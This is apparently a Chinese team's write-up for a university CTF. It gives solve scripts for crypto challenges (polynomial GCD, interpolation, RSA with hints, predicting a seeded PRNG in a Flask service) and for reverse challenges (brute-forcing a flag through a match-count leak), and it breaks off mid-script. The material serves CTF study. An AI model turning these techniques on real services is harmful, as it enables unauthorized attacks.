第一次参加校赛,reverse和pwn都是我做的(可惜时间不够,否则我都想re ak的),感觉这成绩还是不错的(两位队友带我起飞),本来是第二的,但有两支队不讲武德,藏flag最后四小时狠狠上分。之前没有什么逆向经验,这次比赛下来还是收获颇丰的,虽然做题做的有点慢,但是真切地能够感受到推理、查资料、求解的那种乐趣。Yring和Lilran两位师傅出的题目都很有含金量,能够学到蛮多东西的。下面的是我们队这次的wp。题外话:我们的队名GZTime的🐕是我起的,主要是我看到去年的队伍有叫做GZTime Fans的,就想取个比较搞的名字。

Crypto(4题)

Merciful ZMJ4396

多项式环上的扩展欧几里得算法得大因子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
from sage.all import *
from gmpy2 import *
n=216715416708460155477992322085516611552270636919755478964805666234236997406855361052570232991895679602210861350628866146276037882025923825703508064363906795238223688343809509306120071597396477076073628439766161734869274506052159471971794123083744402821925369023320049630329646433829421964613809335851403887561315507604789690420219413417928482327588109668823200480827107376096093055204622538233556152234121089922206199207903034755022227796443017522300501066866402660060526453060705918812887245305628532518725423893452454237946125559330007850359104936053882816174385333632019253970840134075497233766226319964034444150995323600612871977832476907154062741081450882712556791712631980479419008489354348034291873671194693391532452874431804104560621456782375117669065285103448805337659807347286415316475784429594551496293681999204444962432523694033875075505497155595555657937972283434086081365167716163558357988827147832104428451817860019534825375936988377957324353168974328540832373328428371606634478634764813952676853087591992430464543853197928670229932680181856081281197347895870574427375411264749269643373656627015611722189804049289116794128467285890086482422324127620793749869311672673496273363061265783452519780122000246633337639340816850335360495793841712753010964257381531727545292810082412390524854834545887215977439867572109688706479126239693853680303079144631673523849195228600271104222929572889198533461972070932499091792429369644892899463954333005145918974389797280235846840776920816118968576735333720709494707392335564183235312831647444014099360869545077993326601039234993546725944514319866526236128181026822910682425856112337131552776457309392474737549238886433119960589435332277352656437736795630983429201044834722226740416978042073180578834593772636452366477131108476239261139063783802664482692356910346794789657778635545509230965330734946773717373109869643491648208291175635411393998054882633077727979369819547311547967888694649137451214772359192532142406467142090597862768811316553566663796768865362766744377056694650651754122098938501475510112554570006906209288854391146212005555371893057838187179747622977907948195198389290004305344313060900699368877696773380504881111193427849765567819630026619716469326448432450577409622928860666789805874776416688609440943618573555571939608563062828797178524846100052824014976149226306756487075637559801990937804996823772296294919913662222543016301806348598373499133183095993212351698860390669707420037311826261470289402317862191259968201093083808356052722231553619478541936771543098411908359425991791379647831821829284337375547265488648853329539250110438664622038324301447552753069240213964232510935356790017541147583945192992494232490014019657241838859545641777346779313502392932865750720297230994096863111752247097284175487079121801201649482
def HGCD(a, b):
if 2 * b.degree() <= a.degree() or a.degree() == 1:
return 1, 0, 0, 1
m = a.degree() // 2
a_top, a_bot = a.quo_rem(x**m)
b_top, b_bot = b.quo_rem(x**m)
R00, R01, R10, R11 = HGCD(a_top, b_top)
c = R00 * a + R01 * b
d = R10 * a + R11 * b
q, e = c.quo_rem(d)
d_top, d_bot = d.quo_rem(x**(m // 2))
e_top, e_bot = e.quo_rem(x**(m // 2))
S00, S01, S10, S11 = HGCD(d_top, e_top)
RET00 = S01 * R00 + (S00 - q * S01) * R10
RET01 = S01 * R01 + (S00 - q * S01) * R11
RET10 = S11 * R00 + (S10 - q * S11) * R10
RET11 = S11 * R01 + (S10 - q * S11) * R11
return RET00, RET01, RET10, RET11

def GCD(a, b):
print(a.degree(), b.degree())
q, r = a.quo_rem(b)
if r == 0:
return b
R00, R01, R10, R11 = HGCD(a, b)
c = R00 * a + R01 * b
d = R10 * a + R11 * b
if d == 0:
return c.monic()
q, r = c.quo_rem(d)
if r == 0:
return d
return GCD(d, r)
def gcd1(a, b):
if b == 0:
return a.monic()
else:
return gcd1(b, a % b)
PR=PolynomialRing(ZZ,'x')
x=PR.gen()
f=x**43+96
g=(x-7)**77+(x+777)**7
a=xgcd(f,g)
b=int(a[0])
b=b//(2**10)
P=PolynomialRing(Zmod(b),'m')
m=P.gen()
f=m**43+96
g=(m-7)**77+(m+777)**7
c=gcd1(f,g)
#print(c)
m=var('m')
h=29930294762636729687530121990439943398704652330234785971381770257951096942090174338293734565797978624105029541627989659876394677989112813105453019785503350007855534480886741029947192392544533000459614739982184159571822687073640326138457784407871380543002238428127028785922865036073984184605725987261693205009542977034169564717381920936853330938481382431614248946428344414103821832855579723293435954727745638391567120700244695659814308794344905565802180314951095586830636686888822120786962711107133928277621157518086437748658449625362923777636343386527039776562019723454561767745740762121295817162851173568259454506308404982997092958521663619977387919709549787581504905359824896299506578411426064167048064387626907131657151094581423961635252825883019074473699966058105544609069395086954431192458529847330210041334877846562164605509201499383306283847540565604378990324610139288054288295002162766107371142326622941072566227872742074429696988144019091910522078678785549112868886176438419208709894704594308783866026068897544080204623408156525248963358266955546649811342327778340576373057090385139942993183795062774143233718562679092720448135199005404082479471760052050552479877487859317744003423597586928652076621730228761296752558987043104842150424989305816985989563293819066229845867621917559328700233212715932205258527735638891672336805323801786372941982987077028198129642829089944636536336099964276796251531151936126643724122496385073644076849131142268444638607255317021166324459705999345264149261719417781581926037504310205901937728774131379344240374447517849874756592583703955218983756110807411297276719071856158026545940426760792008575555917053079741424531786907455575257332628145840806010400482516327608839474806718686339103396301038753552815463427743393821468957393440415666555786849846334564681675043851236000028404371729852146904270998267877343510310209384688970251513571834307480066003403096996816677049581610806539744135765982788478166869765680181430313574188185121546255589650092177972491514482899893359747970335849823969995470756144800729333500935859013044276379224273549727190035683879310206717733332397839848119427888666313725183252795543390236998447496251256292280833054215192288587966426594464637524219457650311638554900986257565314111513536113644140781038299652747492458164107465250874660529205529590580068971296524699261224445061621073443625618037846387717641154837396346739099821467414732409406321401171581982013457128654507256368803695380520635667755340655963171159716136555608756415513928390417367828615105975127012997976277652334470686004373022969728008235512341945011012931988269932459436128769752915803400006321775930332346062932373819243564728978244599247302505657749974326597394567313946644954168517717153325015991320741019983411527896140500836141545687371677803288823*m + 38089684625165355515624354323301527857939552697354804516819422353275812038211620368158964415270548726559984698682160433000637639222831556990086888486825903198602024362861879262211932095270907872113482311038918176588913386518192194876297961009867928846093830685899219439389800740993792802316498099414290018457742434909363860984833045354751995694644703399898729687815646871370319484443236384813431388355872766558292416351268806865697189983627607880043859887343625474691331152127193897818520038233835196855998398104101627544317521380648459078461855739574188231475543711323514294926093665195944810376066585777225873232350603277259426498670396729320619499863216842853679145737660220385839865744256105759211247983020972708950763321499427882542770936364941812713236353283124680802134554909307889169709896389811377628499435655090294963946066166821966378079506185390431699899548676808283606604151619567852965151925051164626057214131670463295384497201297146007655675404039225892942309938527498342134626741193446165681930380030822705574097383167026791705306850968073707438708474876588883907927667646650004150971129869828800646004929362964317192761391717249175969345092829246826640485728313831310305658496320545740961417114235582608474306187728527532026526287298890881519909161830883432811525910117514263094816630647344617367361584272167075112490928079788673652526186319116798829557185125824428448892945645308261785097832566353214442697004167946967306481742059423957081102477621398468851218178591048540563001204554512675554930177571908143521393422990908446896517784659774006437411096373975182940867970143802202981679934496122412674501387212932620957215858078629899223570210306634836989376896621311505808424605325974847661348735601289000907248341364193938693674516323292485949661558304638076521603077575871571159984966898303817127753769159107121824706173004180246663974997373509692942470532305374992438838494229256023511802741049544766425451602342915214599790489569342362590693418510942070019526355401696070369429206361066403610530758980535063244868276638273770248630755734742727600771872400243958786473401684832028246671014909602292844320914119883334396265238083388921149868817074494397735142384513640594014859977860714543454429372235910678394546037396423465011442193908506121639295737297799146224602388638866417847257655894201616263153056634951630455182302726340340726415959840442890925880139534919744225420037233196392739358550336879491160521277366939475211765907264585255918372962716813539983527963851530458227522179999871218778487803642874785880058462908706258210953375989393750306462125499392248609336892807344079552339980729947811473224723328827245287834720652040111322348599786708311166753975030667294688618671611407440374142321517981525456911166436824259567461694201885182436632028010575402934189
#print(h)
eq=h==0
s=solve(eq,m)
mm=28973845518743195632103622518041217168078559313181038541574338620384176274021319446822467816160898278647644040157755895648413981078671560034120450846938240822075336022214236099522825134745515855949907606374248500263121428294013879717150215482787813090600987703325249435098081603466680371271102228536899327037548345510797294160621743134655020934619150120472509271032567638272274880477392495633182875172142312471396656985546684766060868499127932998816826970926249313164130543922151559915657107981321106521069711474392338266799892394299907494938348295828140622124655018970923503034113839461225358961315956376083576579475156576080670592076026854781139691329132011188017943726755042726713841881150902953672857259831443074348107309770443077960197285954856606266094141429417612205274778305297551073255337618128943890851127703362449992110369879679079475978546562186174582810631161564328174800352139524878276815380448866226582246052896745881261276519735675532485675341012035766031055317273453853451171784297455435368619556421116270858749071915320234212072019415858448810014177425235649263996543766705480366663133001065651213068534209759436051581891093823274879507473309636117244909200552525831526220547722195337613198198591067302872164419987896341979869580426320366664439782766332974857901763629236622908557707725096231339340852141621409642735478027251319692315904741209158411661217342431775979918211949327047061907320156249327994548364415592991591267349659270761195753043005715249871739278540258368293585771147204114245557440113938365698184434620548017324396645032993653337159603451144847622267948605253629648008218882940780018764580794994040658541924590936950873883220527483513653642939523061787653719589569722378137109783979455574314530076932110871837377774355944758787726631724396237382996921574905795853036913696533931479942613683272802165882834923541743914872032545902766541202039731410198507581876145462245560967141485512085949091102436067656263486224032907149686547571233775694618351919721112981890930314331553792931418384755565452955532163299175718909476213233850299916948129186905796703814761166816760199287762198631239781841862982105561050962792200663210135481406257924472815245314666230914293026222550453029783413195175406091663397471722548903020599575257911364249020315817466321354442410255794948127335049801999716387624740554935556529442242372262785208873560321049025323917846030376508378809020403716978626787976922654601379516044409590192635406309760453033111767973495900693158214241347902334020211030154918369870011935607977538617311397483253309636714382662610397906381220262534481752089716469727044036604122012896939950659571917787329041448750322682435943909108257999685437656882363940280169435934150863546916581926658384334892577913822915965751817158800790632469968232354905253754235930
mm=int(mm)
mm=int(a[0])-mm
print(mm)
g = gmpy2.gcd(mm** 43 + 96, (mm - 7) ** 77 + (mm + 777) ** 7)
print(g.bit_length())
m=b"131678520366547665535184862171022166354055087404846692769445280481239745575757883228086421211610487005887390076636431871306735952592884377968318684617931233124436941912797952187639113967753379048265341334890871948896129243977869592254308897323924370535517610484005294993099962560677761542090983838779138704915026583508254508320585205445130872542763088972448814643748756977539871702861800727380581167308201545361209887674422275269390167941422337308074178893410728768922660458145003506363103688903042585760539194307227976010119530239535156383513705521961302817610960985183886985982220152604117765479060132643846065649523026789754788596703744818606657566824476153252072096878875055301757312053473017988799007615166716297469150932408911910644130129344792926906402318488480973138925447178163937639023003794761382160672656345221143749256481310027244294412034316768079203195044396261800883258392136352580732440746385683208247182775540622966291651996929329097763646016984122288953598840795098819849013411622209635420272783309086731389384990446006641526008134765026083813349986822202730735526845399917074649775816440127910279277451737921405560879229331102161444293765481307135559475665752644755487632539758190103230568052266326822628278119125407993871349286152111554999231021855315285250428531807096399244228818858530583955653874025602609243587714619389250091389798626933822635666544087668011385984941898396646026458405434120551400047749830409872798700554112498608640185418509952564404630661850424213038145113667509554756905892007471180610463777122123666887477575655770886322944662385380773213790154962207708491201477031082522249761454916341223637752033346448483216023241417268926543674822847056505625180376321554234015059250008053969393813445826269612185865873583401223348224550936665387316138702258648460727516346844425268521165834405397697159897911127255950302176331252070711421707497672513957263726371990445494945152126990125449223459105444404777734887584388632199104668128395568932612892216545046417836631573182979475519363271559078200246701648733981465013508368151360426907341097393905857672400429174607726051030080777180454448286100786918558815496211404683371427103725541583437085650795823948897010955947008347519936150919880955837625570479805774528600760960543326090891827818210549491191511024139800029564338069018428503761770040094837637857951854030772038395296486429345621414135890162703400674520515977118852925230409250568644246091356164857580473647749728778997966450754293343664404956190873778123206885408863167997997120809349080823708216679592472006923055188343153969936058216096870874236155412302648708748019455242246044560410652752677691194084448726669738091253348079112030729392754197998630503946419772365468294130523271632207227913178406530360438223171598859101241477251181445044241508552678"
m=gmpy2.mpz(m)
#print(m)
g = gmpy2.gcd(m** 43 + 96, (m - 7) ** 77 + (m + 777) ** 7)
#print(g.bit_length())

(HGCD没用)

n77

接收部分

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
from pwn import *
from tqdm import *
from Crypto.Util.number import *
p=remote('localhost',57783)
cipher=[]

a=[]
''''
for i in tqdm(range(2**21)):
a.append(str(i))
a.append(',')
a=''.join(a)[:-1]

#a=a.encode('utf-8')
p.sendlineafter(b"The frequencies you want to run by n77:",a)
cipher=p.recvline()
f=open('cipher2.txt','w')
f.write(cipher.decode())
'''
''''
for i in tqdm(range(2**21)):
p.send(b'i')
p.send(b',')
'''
''''
cipher=[]

for i in tqdm(range(0,2**21)):
p.sendlineafter(b"The frequencies you want to run by n77:",str(i).encode())
b=p.recvline()
cipher+=b

print(len(cipher))
'''
p.interactive()

多项式插值

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
from Crypto.Util.number import *
from sage.all import *
import collections

class tree(object):
def __init__(self, data, left=None, right=None):
self.data = data
self.left = left
self.right = right

def printAllLine(self):
q = collections.deque() # 先进先出队列
q.append(self)
line = 0
pre = 1
nxt = 0
while pre:
for i in range(pre):
node = q.pop()
if node.left != None:
q.append(node.left)
q.append(node.right)
nxt += 2
print(f"Node {line}-{i} = {node.data}")
pre = nxt
nxt = 0
line += 1
print()

def printAllNode(self):
q = collections.deque() # 先进先出队列
q.append(self)
line = 0
pre = 1
nxt = 0
while pre:
for i in range(pre):
node = q.pop()
if node.left != None:
q.append(node.left)
q.append(node.right)
nxt += 2
print(f"Node {line}-{i} = {node.data}")
pre = nxt
nxt = 0
line += 1
print()

def printAllNode(self):
q = collections.deque() # 先进先出队列
q.append(self)
cnt = 0
while len(q):
node = q.pop()
if node.left:
q.append(node.left)
if node.right:
q.append(node.right)
print(f"Node {cnt} = {node.data}")
cnt += 1

def getMulTree(ls, l, r):
# ls 为以 x-i 为叶节点构成的乘积树
if l == r:
return tree(ls[l])
else:
mid = (l + r) // 2
ltree = getMulTree(ls, l, mid)
rtree = getMulTree(ls, mid + 1, r)
tr = tree(ltree.data * rtree.data, ltree, rtree)
return tr

def getMul(ls, l, r):
# ls 为以 x-i 为叶节点构成的乘积树
if l == r:
return ls[l]
else:
mid = (l + r) // 2
ld = getMul(ls, l, mid)
rd = getMul(ls, mid + 1, r)
return ld * rd

def poly_eval(pol, lx):
# lx 为因变量列表, 元素类型为 int
def dfs(node, res):
if node.left:
(node.left).data = node.data % (node.left).data
(node.right).data = node.data % (node.right).data
dfs(node.left, res)
dfs(node.right, res)
else:
res.append(node.data(lx[len(res)]))

# 构建乘积树; pol 是关于 x 的多项式环
print(f"[+] get multiple tree")
polx = [x - i for i in lx]
tr = getMulTree(polx, 0, len(polx) - 1)
tr.data = pol % tr.data
res = []
dfs(tr, res)
return res

def mergeMul(v, polx, l, r):
if l == r:
return v[l], polx[l]
else:
mid = (l + r) // 2
f0, M0 = mergeMul(v, polx, l, mid)
f1, M1 = mergeMul(v, polx, mid + 1, r)
f = f0 * M1 + f1 * M0
M = M1 * M0
return f, M
# sage
from time import *
import re
from tqdm import tqdm
g=71767377331695608779546
p = 151115727451828881719297
s2n=lambda x: [int(x) for x in re.findall(r"\-?\d+\.?\d*",x)]
f=open('cipher2.txt','r').readlines()
a=[s2n(f[0])][0]
lx = []
ly = a
for i in tqdm(range(2**21)):
lx.append(pow(g,i,p))

Zp = Zmod(p)
P= PolynomialRing(Zp,'x')
x=P.gen()

# 得到 M(x)
print(f'[+] geting M(x)')
st = time()
polx = [x - i for i in lx]
Mtree = getMulTree(polx, 0, len(polx)-1)
M = Mtree.data
print(f'- cost {time() - st} s\n')
# 得到所有 M'(xi), vi
coff = M.list()
M_ = P([i*coff[i] for i in range(len(coff))][1:])
st = time()
print(f'[+] geting M\'(xi) and vi')
Mxi = poly_eval(M_, lx)
v = [ly[i]/Mxi[i] for i in range(len(ly))]
print(f'- cost {time() - st} s')
# 计算 f(x)
print(f'[+] calculate f(x)')
f = mergeMul(v, polx, 0, len(v)-1)[0]
fs = [i for i in f]
print(len(fs))
t=open('key.txt','w')
t.write(str(fs))

sha256得key

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from sage.all import *
from tqdm import tqdm
import re
import hashlib
s2n=lambda x: [int(x) for x in re.findall(r"\-?\d+\.?\d*",x)]
f=open('key.txt','r').readlines()
a=[s2n(f[0])][0]
key=hashlib.sha256(str(a).encode()).hexdigest()
print(key)
''''
p = 151115727451828881719297
g = 35700516409543816395312
for i in tqdm(range(2**21)):
a=discrete_log((g,p),(i,p))
print(a)
'''

Smoke hints

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
from sage.all import *
from Crypto.Util.number import *
from functools import *
from tqdm import tqdm
def solve_pell(N, numTry = 10000):
cf = continued_fraction(sqrt(N))
for i in range(numTry):
denom = cf.denominator(i)
numer = cf.numerator(i)
if numer**2 - N * denom**2 == 1:
return numer, denom
return None, None
#114514 * x**2 - 11680542514 * y**2 + 1919810 == 2034324
N=102001
(x,y)=(34834945635419823491817566563399234823053176449889821571800075702352062905044231520196782430564993617886316750841220280683153456634693274516582390418863033711415731372881163288179660369032440262647344962570809308551786423557604581792293023628226671539671001863522824415876161727357840363896909435994314597682318687286109212360132261705780761350223208855493439905713509683216585447535669179103840355151676900348955850726834778558748576176596609474037298456423607570516459873639794526160082489103786303332253388597560031538949333472681857144605196440020688999368156212067614295618998719682195870452330682061061500341728481458877113934526003865064359452801, 109071911012732502022850422978096246932142152916423367258339958080776017127779842287569032054094868715662547617710798972237860865468979518796870762466053422806566269221859683504667443154145089120448705028998733329483536176859312788275313407342047772524898407149610870586148015013605624329594138230714119704939505401061380777712216157719510271261619101362035144616187262082302740411574934586360516695062056563100258177611076242927354475633328163841594305884855770651187471060662561145818768319723133613889115397679168254599526858767478331211008997427364431641348477558436549415894985022330773540762573918592860707967250624976183104841257499345937186160)

n = 111142605318735316938813250649386186738165574403166232438033419260313952061815533207450871033232370985494268430314169448475438919785759287325853679865987475649861268995000160238867304069959254282061698925178491591193176755600625548815856471200884990208347240605158091477804516311358239578204447428316924883139
c = 14794355763668026059581009059845450392816207668012833094446886308987889821543883267746971922741865673487443815274834235738698431633774882304159537446114650022150426297027544254380786486074802859284301567380813184684791456632406347433975754616113078644646837490359219629155589268592341562798209651528987190793
hint3 = 83343262248050723243690057406554348365200620864419919736886034956863826795653
hint1 =160093
hint2 = 95072
hint4 = 31137501778858299615600055644332884098426295128650804609776490088248016329371
hint5 = 11710750842274585251210766417005897881799695998068747448625459451330648772621232917176022405239262469049329400090359131642311486007738210824174523675053996880787222864294785408395020722385178586733441514721301288397604765287982020108111347733095127671430898213610826672319419397413476661196462370862076814075847680675717773517253576852340346633076316788249025474640669998699872949858429517311372992134571296738328332814308593411839340876004375352647922649680384003461364822769943147497240342425056158793463424433450020417900765022892768508202691229814978790903912340504760860195811778413019475303727383949464271242615491613035966729204944614688540997298000220190786199853203074434002240880245157386787354490451076912801995143695080697782529986921930050383188443698246144352701984882396959104464992678434442165508095875068152602744649259855450968610753257266594251544846496664257012942329948807492304124971743908687979339125103933539325405859428196150130637506771429050194262073725068990704713754560018294868550194735619985781364649130639452951276407458945356639530140611175015907001449470657099624326115832803895711695522244630465698969924219734702526323353339331488231038449632558640062360926014709675603808427063294477586755020386497395053690836558120719640836146770669502040742770697480400876175974623256067733443979145385016639861677740604404191709619615846456136958727729966605312191266834062164557522847398465771465817679529193047744057010322257402930079
''''
p,q=var('p,q')
eq1=x**2*p+y**2*q==hint5
eq2=p*q==n
a=solve([eq1,eq2],p,q)
print(a)
'''
p=9650490459555335333244059307069670229189533174325439128394841124375310110217984805348235781353957896407801704373996441978648002759368642084791814763698079
q=11516783088333981260978080269650124779997259618293789210569143886195817909393039590867784365726080854266468852769392016198480826680860193135341745674626141
es=[]
for i in tqdm(range(200000,400000)):
e=i*hint1+hint2
print(e.bit_length())
if isPrime(e) and e.bit_length()==36:
d=inverse(e,(p-1)*(q-1))
m=long_to_bytes(pow(c,d,n))
if b'W4terCTF{' in m:
print(m)
break

print(len(es))
'''
PR=PolynomialRing(Zmod(n),'x')
x=PR.gen()
f=hint3*2**256+x
#f=f.monic()
roots=f.small_roots(X=2**256,beta=0.4)[0]
print(roots)
'''
#W4terCTF{wA7ch_0uT_TH3_Sm0KE_hlNts_1ROM_WllSoN}

Wish

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
from flask import Flask, request, jsonify, send_from_directory
import random
import string
import os
import time
import requests
from functools import wraps
from hashlib import sha256
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad

app = Flask(__name__, static_folder='static')
app.logger.setLevel('INFO')
counter_url = '不告诉你'

FLAG = os.getenv('GZCTF_FLAG', 'flag{genshin_impact}')

class TokenBucket:
def __init__(self, capacity, fill_rate):
self.capacity = capacity
self._tokens = capacity
self.fill_rate = fill_rate
self.timestamp = time.time()

def consume(self, tokens=1):
now = time.time()
self._tokens += (now - self.timestamp) * self.fill_rate
self._tokens = min(self.capacity, self._tokens)
self.timestamp = now
if self._tokens >= tokens:
self._tokens -= tokens
return True
return False

def rate_limit(bucket):
def decorator(f):
@wraps(f)
def decorated_function(*args, **kwargs):
if not bucket.consume():
return jsonify({'message': 'Rate limit exceeded!'}), 429
return f(*args, **kwargs)
return decorated_function
return decorator

def generate_wish(time, index):
random.seed(time)
probability = 0
for _ in range(index):
diff = min(abs(random.randint(0, 1919810) - 114514), 10000)
probability = 100 * (0.1) ** diff
app.logger.info(
f'probability: {probability}, time: {time}, index: {index}')
if int.from_bytes(os.urandom(1), 'little') % 100 + 1 <= probability:
return "flag"
else:
characters = string.ascii_letters + string.digits
return ''.join(random.choice(characters) for _ in range(4))

wish_chances = 0
bucket = TokenBucket(30, 1)

@app.route('/get_wish_chances', methods=['GET'])
@rate_limit(bucket)
def get_wish_chances():
global wish_chances
return jsonify({'wish_chances': wish_chances})

@app.route('/wish', methods=['POST'])
@rate_limit(bucket)
def handle_wish():
global wish_chances
if wish_chances <= 0:
return jsonify({'message': 'No more wishes available!'})
data = request.get_json()
time = data.get('time', 0)
index = data.get('index', 0)
if not 0 <= time < 24*60*60 or not 0 <= index < 10:
return jsonify({'message': 'Invalid input!'})
result = generate_wish(time, index)
wish_chances -= 1
if result == 'flag':
return jsonify({'results': result, 'flag': FLAG})
else:
return jsonify({'results': result})

def keycalculator(m):
sha = sha256(m.encode()).hexdigest()
key = b"????"
iv = b"????"
cipher = AES.new(key, AES.MODE_CBC, iv)
ciphertext = cipher.encrypt(pad(sha.encode(), AES.block_size))
return ciphertext

@app.route('/query_reset', methods=['GET'])
@rate_limit(bucket)
def query_reset():
global wish_chances
headers = {'Content-Type': 'application/octet-stream'}
flaghash = keycalculator(FLAG)
response = requests.post(counter_url+'/query',
data=flaghash, headers=headers)
app.logger.info(f'query_reset: {response.text}')
if response.text != '0':
response = requests.post(
counter_url+'/decrement', data=flaghash, headers=headers)
app.logger.info(f'decrement: {response.text}')
remaining = int(response.text)
if remaining >= 0:
wish_chances = 3
return jsonify({'message': 'Wish chances reset successful!'})
else:
return jsonify({'message': 'Wish chances reset failed!'})
return jsonify({'message': 'No chance to reset!'})

@app.route('/get_reset_chances', methods=['GET'])
@rate_limit(bucket)
def get_reset_chances():
headers = {'Content-Type': 'application/octet-stream'}
flaghash = keycalculator(FLAG)
response = requests.post(counter_url+'/query',
data=flaghash, headers=headers)
app.logger.info(f'query_reset: {response.text}')
reset_chances = int(response.text)
return jsonify({'reset_chances': reset_chances})

@app.route('/', methods=['GET'])
def index():
return send_from_directory(app.static_folder, 'index.html')

if __name__ == '__main__':
app.run(debug=True, host='0.0.0.0', port=80)

分析源码,可以一眼看出diff要足够的小才能最大限度地提高概率

然后生成伪随机数的方法是MT19937梅森旋转法,其中的随机数值是根据seed而定的

所以为了让diff更小,我遍历seed去选产生的第index个伪随机数最小的seed

寻找的脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import random
from tqdm import tqdm
import string
for i in tqdm(range(24*60*60)):
random.seed(i)
'''
characters = string.ascii_letters + string.digits
a=''.join(random.choice(characters) for _ in range(4))
if "lag" in a:
print(a)
print(i)
'''
for j in range(10):
diff=10000
for _ in range(j):
diff = min(abs(random.randint(0, 1919810) - 114514), 10000)
if diff<2:
print(diff)
print(j)
print(i)

然后是队友的发包程序

1
2
3
4
5
6
7
8
9
10
11
12
import requests

url = "http://localhost:44196/wish"

data = {
'time':20544,
'index':1
}
res = requests.post(url=url, json=data)

#print(res.content, res.status_code)
print(res.text, res.status_code)

然后就有每次十分之一的概率寻找flag了

Reverse(7题)

BruteforceMe

base64加cr4但是他加了一个能够判别多少位重合的机制,那么直接脚本爆破我是先报了一部分再进行调试再爆破

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
#尝试某一位的爆破
from pwn import *
import string

# 已知的开头和结尾
known_prefix = "W4terCTF{Unr3I4"
known_suffix = "7Ed_6yt4u_c4N_6e_ENuMerated}" # 填充剩余的字符以满足长度要求
# 所有可能的字符
all_chars = string.ascii_letters + string.digits + "_!?.',"
# 初始化尝试的flag
flag = known_prefix + known_suffix
i=24
sum=58
max_matched = sum
max_c = ''
for c in all_chars:
# 尝试下一个字符
# 创建一个进程
p = process('BruteforceMe.exe')
attempt = flag[:i] + c + flag[i+1:]
# 发送尝试的flag
p.sendline(attempt)
# 获取返回的信息
result = p.recvuntil("matched. Try again!").decode()
# 解析返回的匹配信息
matched = int(result.split(' ')[3])
# 如果匹配的数量增加了,那么我们就记录下这个字符
if matched >= max_matched:
max_matched = matched
max_c = c
print(c)
print("Progress: {:.2%}".format(max_matched / 60.0))
p.close()
# 在每一轮结束后,我们选择使得匹配数量增加最多的字符
if max_c:
sum = max_matched
flag = flag[:i] + max_c + flag[i+1:]
# 打印出当前的进度百分比
print("Progress: {:.2%}".format(max_matched / 60.0))
print("Progress: {:.2%}".format(max_matched / 60.0))
print("The flag is:", flag)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
#尝试所有位数的爆破
from pwn import *
import string

# 已知的开头和结尾
known_prefix = "W4terCTF{"
known_suffix ="Unr3I47Ed_6yt4u_c4N_6e_ENuMerated}" # 填充剩余的字符以满足长度要求
# 所有可能的字符
all_chars = string.ascii_letters + string.digits + "_"
# 初始化尝试的flag
flag = known_prefix + known_suffix

sum=58

attempts_when_sum_59 = []
for i in range(len(known_prefix), 43):
max_matched = sum
max_c = ''
for c in all_chars:
# 尝试下一个字符
# 创建一个进程
p = process('BruteforceMe.exe')
attempt = flag[:i] + c + flag[i+1:]
# 发送尝试的flag
p.sendline(attempt)
# 获取返回的信息
result = p.recvuntil("matched. Try again!").decode()
# 解析返回的匹配信息
print(result)
matched = int(result.split(' ')[3])
# 如果匹配的数量增加了,那么我们就记录下这个字符
if matched > max_matched:
max_matched = matched
max_c = c
print(attempt)
if matched == 59:
attempts_when_sum_59.append(attempt)
p.close()
# 在每一轮结束后,我们选择使得匹配数量增加最多的字符
if max_c:
sum = max_matched
flag = flag[:i] + max_c + flag[i+1:]
# 打印出当前的进度百分比
print("Progress: {:.2%}".format(max_matched / 60.0))
print("Progress: {:.2%}".format(max_matched / 60.0))
print("The flag is:", flag)
for attempt in attempts_when_sum_59:
print(attempt)
1
#W4terCTF{UNr3I47Ed_6ytE5_c4N_6e_ENuMerated}

一开始本来想着三位三位爆破的,但是不知道哪里出了问题可能是debug操作失误,然后就让我以为后面的位数会影响前面的,导致了脚本不断修改尝试最后才出

box

box的加密实际上就两个函数,只是一个藏起来了不太好找。找到对照数组发现他在前面的函数中被引用过,直接就可以发现还有一层加密

1
2
3
4
5
6
7
8
9
10
11
# 假设byte_41B000是一个字节数组
byte_41B000 = [0x5A, 0x66, 0x6E, 0x59, 0x44, 0x69, 0x74, 0x6B, 0x49, 0x09, 0x0D, 0x09, 0x53, 0x47, 0x62, 0x6F, 0x14, 0x50, 0x40, 0x6E, 0x11, 0x63, 0x7A, 0x69, 0x4E, 0x59, 0x1C, 0x69, 0x68, 0x6B, 0x6F, 0x63, 0x4B, 0x4D, 0x29, 0x45, 0x43, 0x49, 0x5D, 0x7B, 0x74, 0x51, 0x46, 0x71, 0x6C, 0x41, 0x7B, 0x69, 0x6D]

# 计算byte_41B520的值
